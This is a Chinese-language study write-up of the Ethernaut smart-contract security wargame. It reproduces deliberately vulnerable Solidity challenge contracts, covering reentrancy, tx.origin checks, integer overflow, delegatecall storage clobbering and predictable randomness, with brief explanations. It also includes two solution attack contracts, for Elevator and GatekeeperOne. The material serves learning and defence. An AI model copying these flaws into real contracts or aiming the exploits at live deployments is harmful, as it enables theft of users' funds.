Ethernaut Zeppelin 学习

https://ethernaut.zeppelin.solutions/ 网站上列出了一系列智能合约在编写过程中可能产生的问题,可以帮助初学者很好的了解智能合约

https://github.com/OpenZeppelin/ethernaut/blob/master/gamedata/descriptions/pages/help.md 帮助文档

花了一整天假装自己 AC 了所有的题目,这里把过程中的一点总结和经验记录一下,留以备忘

Hello

题目是用来帮助熟悉平台的。这里简单记录一下平台和 Remix 编辑器的基本操作

平台首先需要安装 MetaMask 插件并登陆账户,如果打开平台时没有登陆账户,那么登陆之后需要刷新页面使账户信息生效。

Remix 是非常好用的在线编辑平台,其不仅可以编译 solidity 代码生成自己的测试合约,也可以根据地址映射链上已有的合约

在顶部菜单中可以选择合约运行的环境,运行合约的账户。并且可以配置执行合约代码时所带有的 gas 和 value 相当于调用合约时的 .value().gas()

在执行了合约代码之后可以点击下方的 debug 按钮对合约代码进行调试

调试功能十分强大,可以查看运行时的栈,memory,opcode,等几乎所有的 EVM 关键信息

Fallback

如下的智能合约,目的是通过修改 owner ,将 onwer 中所有的 balance 转给攻击者。 在合约的 Fallback 中可以修改 owner,向合约账户转账(send)就可以触发 fallback。题目主要帮助理解合约中各个函数的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Fallout

如下的智能合约,目的是将 owner 修改为攻击者。函数名写错了~ 提醒智能合约编写过程中注意编码。个人感觉不会有人把 l 写成 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

FlipCoin

在 solidity 的文档中明确说明,通过block 信息作为随机数是一个不好的方法,攻击者可以很容易的绕过。

https://solidity-cn.readthedocs.io/zh/develop/units-and-global-variables.html#id3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Telephone

通过 call 的方式调用其他合约中的代码,此时的 tx 仍然为原始合约调用时的信息,而 msg 经过转发已经变成了原始调用者合约。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

Token

校验过程中的溢出情况,合约编写请尽量使用 SafeMath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

Delegation

delegationCall 的作用就相当于引用了一个外部函数,使用函数中的代码来完成功能,函数上下文依然在当前合约

web3 提供了 sendTransfer 接口,可以直接给合约传递 msg。目前还不知道怎么在 Remix 中直接给合约传递 msg 信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

Force

获取以太币的方式有很多种,目前无论是合约还是“外部账户”都不能阻止有人给它们发送 以太币Ether。 合约可以对一个正常的转账做出反应并拒绝它,但还有些方法可以不通过创建消息来发送 以太币Ether。 其中一种方法就是单纯地向合约地址“挖矿”,另一种方法就是使用 selfdestruct(x) 。

如果一个合约收到了 以太币Ether (且没有函数被调用),就会执行 fallback 函数。 如果没有 fallback 函数,那么 以太币Ether 会被拒收(同时会抛出异常)。 在 fallback 函数执行过程中,合约只能依靠此时可用的“gas 津贴”(2300 gas)来执行。 这笔津贴并不足以用来完成任何方式的 存储storage 访问。 为了确保你的合约可以通过这种方式收到 以太币Ether,请你核对 fallback 函数所需的 gas 数量

有一种方法可以通过使用 addr.call.value(x)() 向接收合约发送更多的 gas。 这本质上跟 addr.transfer(x) 是一样的, 只不过前者发送所有剩余的 gas,并且使得接收者有能力执行更加昂贵的操作

因此如果不想让合约接受 ETH 的话,需要使用 this.balance 判断

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}

King

以太坊上程序运行需要消耗 gas,一旦 gas 耗尽程序将不再继续执行。transfer 、call 等操作会触发 目标地址 fallback 合约代码的执行,从而接管程序执行流程,同时 msg 会变成当前合约传递的信息。

有两个概念非常重要:

  • Gas Limit – 就是說你願意最多給多少Gas去完成這一個交易(包括:執行智能合約Execute Smart Contract,轉帳)。

  • Gas Price – 就是你願意支付多少Ether給(以太坊)Ethereum區塊鏈Miner礦工幫你執行這一筆交易。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}

这种先调用 transfer 、call 再进行其他操作的方法,容易引发 phishing-style attack 即有可能造成后面的语句不执行。

Renentrace

web3.getBalance 方法可以获取地址中以太币的数量。

需要注意的是 uint 虽然是 uint256 的缩写,但是在作为 Call 函数的索引时,其计算 hash 时一定要写会原来的值 uint256

该合约可以进行 theDAO 攻击,在 msg.sender 的合约 fallback 代码中再次调用 withDraw 可以多次进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}

Elevator

合约无法保证两次调用的结果一致,一个合约的内容不应该决定于另一个合约代码的运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Hotel{
Elevator ele;
function InstallElevator(address ct){
ele = Elevator(ct);
}
function isLastFloor(uint floor) public returns (bool){
if( ele.floor() == floor){
return true;
}
else{
return false;
}
}
function Go(uint _floor) public{
ele.goTo(_floor);
}
}

Privacy

区块链上没有东西是不可见的

可以参考 https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

Gatekeeper One

注意各种长度的 uint 在转化时采用大端计算,即从后面开始直接截断。

这里考察了合约的调试能力,在 Remix 中点击 debug 可以单步调试 instr,其中 GAS 语句为获取 msg.gas,其中的值会保存在栈中。单步到这条语句,根据实际的值修改 gas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
contract BatteringRam {
address public gate;
event GateKey(uint64 key);
function SetTargetGate(address _gate){
gate = _gate;
}
function Attack(){
uint64 gateKey = uint16(tx.origin);
gateKey += 0x10adbeef00000000;
GateKey(gateKey);
gate.call.gas(215+8191*10)(bytes4(keccak256("enter(bytes8)")), bytes8(gateKey));
}
}

GateKeeper Two

使用内联汇编 extcodesize(addr) 可以获取一个账户中的代码大小, caller 相当于 msg.sender ,当一个合约仍在部署阶段时,在链上是获取不到合约的代码信息的。

http://www.tryblockchain.org/blockchain-solidity-assembly.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Naught Coin

非常典型的没有限定 transferFrom 权限的 ERC20 Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
if (now < timeLock) {
_;
}
} else {
_;
}
}
}

Preservation

delegateCall 方法仅仅使用目标合约的代码, 其余的 storage 等数据均使用自己的,合约的访问操作 sstore(p, v) 是根据代码中记录的标准位置而来。这就使得某些访存操作会错误的处理对象。

访存操作指令,可以看到访存的位置是硬编码在指令中的。当使用 delegateCall 时,Storage 是原合约的

1
2
3
4
5
6
JUMPDEST
DUP1
PUSH1 00
DUP2
SWAP1
SSTORE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}

Locked

在合约中新建 结构体或者数组 时其存储位置是 storage,对它进行的访问很容易造成溢出。(其实这里不是很明白,以后抽时间解决)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}

Recovery

区块链上一切都是透明的,即使弄丢了 Token 地址,也可以从区块中根据交易记录找回。

通过 selfdestruct 指令可以销毁某个 Token 并将剩余的以太转移到某一账户中去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity ^0.4.23;
contract Recovery {
//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
function() public payable {
balances[msg.sender] = msg.value*10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address _to) public {
selfdestruct(_to);
}
}

Reference

做题过程中参考了很多很多。感谢所有乐于分享的朋友们。